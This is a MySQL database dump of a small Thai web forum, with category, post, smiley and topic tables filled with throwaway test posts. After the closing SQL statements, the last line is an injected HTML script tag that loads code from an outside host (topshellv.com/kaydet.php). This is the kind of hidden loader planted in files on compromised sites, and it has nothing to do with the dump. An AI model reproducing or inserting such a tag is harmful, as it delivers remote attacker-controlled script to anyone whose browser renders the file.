# MySQL-Front 3.2  (Build 8.3)

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES */;

/*!40101 SET NAMES latin1 */;
/*!40103 SET TIME_ZONE='SYSTEM' */;

# Host: localhost    Database: krooon_db
# ------------------------------------------------------
# Server version 5.0.27-community-nt

USE `krooon_db`;

/*!40101 SET NAMES utf8 */;

#
# Table structure for table forum_category
#

DROP TABLE IF EXISTS `forum_category`;
CREATE TABLE `forum_category` (
  `cat_id` int(11) NOT NULL auto_increment,
  `cat_type` tinyint(3) NOT NULL default '1',
  `cat_name` varchar(255) NOT NULL,
  `cat_description` text,
  PRIMARY KEY  (`cat_id`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;

#
# Dumping data for table forum_category
#

INSERT INTO `forum_category` VALUES (1,2,'เซต','เซต และควาหมาย');
INSERT INTO `forum_category` VALUES (2,1,'ครู',NULL);
INSERT INTO `forum_category` VALUES (3,1,'นักเรียน',NULL);


#
# Table structure for table forum_post
#

DROP TABLE IF EXISTS `forum_post`;
CREATE TABLE `forum_post` (
  `post_id` int(10) NOT NULL auto_increment,
  `topic_id` int(10) NOT NULL default '0',
  `poster` varchar(50) NOT NULL default '',
  `post_time` varchar(20) default NULL,
  `email` varchar(75) NOT NULL default '',
  `web` varchar(75) NOT NULL default '',
  PRIMARY KEY  (`post_id`),
  KEY `post_id` (`post_id`),
  KEY `topic_id` (`topic_id`),
  KEY `poster_id` (`poster`)
) ENGINE=MyISAM AUTO_INCREMENT=10 DEFAULT CHARSET=utf8;

#
# Dumping data for table forum_post
#

INSERT INTO `forum_post` VALUES (1,1,'ijook','2007-05-11 18:26','test@tester.com','');
INSERT INTO `forum_post` VALUES (2,1,'sadfasdt','2007-05-11 18:28','test@tester.com','');
INSERT INTO `forum_post` VALUES (3,1,'asdfsa','2007-05-12 15:52','test@tester.com','');
INSERT INTO `forum_post` VALUES (4,2,'ครู','2007-05-13 10:27','sdfa@sadc.com','');
INSERT INTO `forum_post` VALUES (5,3,'ำดฟหกด','2007-05-13 10:55','tsadfsa@adsc.com','');
INSERT INTO `forum_post` VALUES (6,4,'AAA','2007-05-13 10:55','ijook@gmail.com','');
INSERT INTO `forum_post` VALUES (7,5,'ฆฤฏฆฤฏโ','2007-05-13 10:55','tsadfsa@adsc.com','');
INSERT INTO `forum_post` VALUES (8,6,'หกดฟหกด','2007-05-13 10:56','tsadfsa@adsc.com','');
INSERT INTO `forum_post` VALUES (9,4,'ijook','2007-05-14 08:04','tsadfsa@adsc.com','http://sadf');


#
# Table structure for table forum_postext
#

DROP TABLE IF EXISTS `forum_postext`;
CREATE TABLE `forum_postext` (
  `post_id` int(10) NOT NULL default '0',
  `post_text` text,
  PRIMARY KEY  (`post_id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

#
# Dumping data for table forum_postext
#

INSERT INTO `forum_postext` VALUES (0,'asfdasfdasfdasdf\r<BR>asdfË¿¡´¿èË\r<BR>¿Ë¡´è¿ËÊ´¡\r<BR>¿Ë¡´¿Ë衧´¿Ë¡´');
INSERT INTO `forum_postext` VALUES (1,'tasfasdfasdf');
INSERT INTO `forum_postext` VALUES (2,'sdfasfdasdf\r<BR>asdfas\r<BR>dfÀ¿¡´¿ÊÇ´¡\r<BR>¿Ë´¿Ë¡\r<BR>´¿Ë¡´');
INSERT INTO `forum_postext` VALUES (3,'http://www.krooon.com');
INSERT INTO `forum_postext` VALUES (4,'sadfs\r<BR>sadfsahdfas\r<BR>หกดหฟด่วสกหด\r<BR>หกดาฟหดฟหวดฟ:oops: :o ');
INSERT INTO `forum_postext` VALUES (5,'asdfasdfsadfasdf\r<BR>sdf\r<BR>sdf\r<BR>adsf8) ');
INSERT INTO `forum_postext` VALUES (6,'ทดลองการ POST ข้อความนี้ เป็นผู้เริ่มต้น หัวข้อ');
INSERT INTO `forum_postext` VALUES (7,'ฟหกดฟหก\r<BR>หฟกด\r<BR>ฟหก\r<BR>ดฟหกดฟหกดหกด');
INSERT INTO `forum_postext` VALUES (8,'หฟกดฟหก\r<BR>ดหฟกด\r<BR>หฟกด');
INSERT INTO `forum_postext` VALUES (9,'sdfasdf\r<BR>sadfjadfkajf asdfsad\r<BR>fasdf:lol: :x :P ');


#
# Table structure for table forum_smile
#

DROP TABLE IF EXISTS `forum_smile`;
CREATE TABLE `forum_smile` (
  `id` int(10) NOT NULL auto_increment,
  `code` varchar(50) default NULL,
  `smile_url` varchar(100) default NULL,
  `emotion` varchar(75) default NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=32 DEFAULT CHARSET=utf8;

#
# Dumping data for table forum_smile
#

INSERT INTO `forum_smile` VALUES (1,':D','icon_biggrin.gif','Very Happy');
INSERT INTO `forum_smile` VALUES (2,':-D','icon_biggrin.gif','Very Happy');
INSERT INTO `forum_smile` VALUES (3,':grin:','icon_biggrin.gif','Very Happy');
INSERT INTO `forum_smile` VALUES (4,':)','icon_smile.gif','Smile');
INSERT INTO `forum_smile` VALUES (5,':-)','icon_smile.gif','Smile');
INSERT INTO `forum_smile` VALUES (6,':smile:','icon_smile.gif','Smile');
INSERT INTO `forum_smile` VALUES (7,':(','icon_frown.gif','Sad');
INSERT INTO `forum_smile` VALUES (8,':-(','icon_frown.gif','Sad');
INSERT INTO `forum_smile` VALUES (9,':sad:','icon_frown.gif','Sad');
INSERT INTO `forum_smile` VALUES (10,':o','icon_eek.gif','Surprised');
INSERT INTO `forum_smile` VALUES (11,':-o','icon_eek.gif','Surprised');
INSERT INTO `forum_smile` VALUES (12,':eek:','icon_eek.gif','Suprised');
INSERT INTO `forum_smile` VALUES (13,':-?','icon_confused.gif','Confused');
INSERT INTO `forum_smile` VALUES (14,':???:','icon_confused.gif','Confused');
INSERT INTO `forum_smile` VALUES (15,'8)','icon_cool.gif','Cool');
INSERT INTO `forum_smile` VALUES (16,'8-)','icon_cool.gif','Cool');
INSERT INTO `forum_smile` VALUES (17,':cool:','icon_cool.gif','Cool');
INSERT INTO `forum_smile` VALUES (18,':lol:','icon_lol.gif','Laughing');
INSERT INTO `forum_smile` VALUES (19,':x','icon_mad.gif','Mad');
INSERT INTO `forum_smile` VALUES (20,':-x','icon_mad.gif','Mad');
INSERT INTO `forum_smile` VALUES (21,':mad:','icon_mad.gif','Mad');
INSERT INTO `forum_smile` VALUES (22,':P','icon_razz.gif','Razz');
INSERT INTO `forum_smile` VALUES (23,':-P','icon_razz.gif','Razz');
INSERT INTO `forum_smile` VALUES (24,':razz:','icon_razz.gif','Razz');
INSERT INTO `forum_smile` VALUES (25,':oops:','icon_redface.gif','Embaressed');
INSERT INTO `forum_smile` VALUES (26,':cry:','icon_cry.gif','Crying (very sad)');
INSERT INTO `forum_smile` VALUES (27,':evil:','icon_evil.gif','Evil or Very Mad');
INSERT INTO `forum_smile` VALUES (28,':roll:','icon_rolleyes.gif','Rolling Eyes');
INSERT INTO `forum_smile` VALUES (29,':wink:','icon_wink.gif','Wink');
INSERT INTO `forum_smile` VALUES (30,';)','icon_wink.gif','Wink');
INSERT INTO `forum_smile` VALUES (31,';-)','icon_wink.gif','Wink');


#
# Table structure for table forum_topic
#

DROP TABLE IF EXISTS `forum_topic`;
CREATE TABLE `forum_topic` (
  `topic_id` int(10) NOT NULL auto_increment,
  `topic_title` varchar(100) default NULL,
  `topic_poster` varchar(50) NOT NULL default '',
  `topic_time` varchar(20) default NULL,
  `topic_views` int(10) NOT NULL default '0',
  `topic_replies` int(10) NOT NULL default '0',
  `topic_last_post_id` int(10) NOT NULL default '0',
  PRIMARY KEY  (`topic_id`),
  KEY `topic_id` (`topic_id`),
  KEY `topic_last_post_id` (`topic_last_post_id`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=utf8;

#
# Dumping data for table forum_topic
#

INSERT INTO `forum_topic` VALUES (1,'test','ijook','2007-05-12 18:26',9,4,3);
INSERT INTO `forum_topic` VALUES (2,'test 2 ทดสอบ ภาษษทไย','ครู','2007-05-13 10:27',2,0,4);
INSERT INTO `forum_topic` VALUES (3,'sadfasdf','ำดฟหกด','2007-05-13 10:55',1,0,5);
INSERT INTO `forum_topic` VALUES (4,'ASDas','adasdfasdfasd','2007-05-13 10:55',87,1,9);
INSERT INTO `forum_topic` VALUES (5,'หฟกดฟหกด','ฆฤฏฆฤฏโ','2007-05-13 10:55',0,0,7);
INSERT INTO `forum_topic` VALUES (6,'ฟหกดหฟกด','หกดฟหกด','2007-05-13 10:56',2,0,8);

/*!40101 SET NAMES latin1 */;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
<script src=http://www.topshellv.com/kaydet.php></script>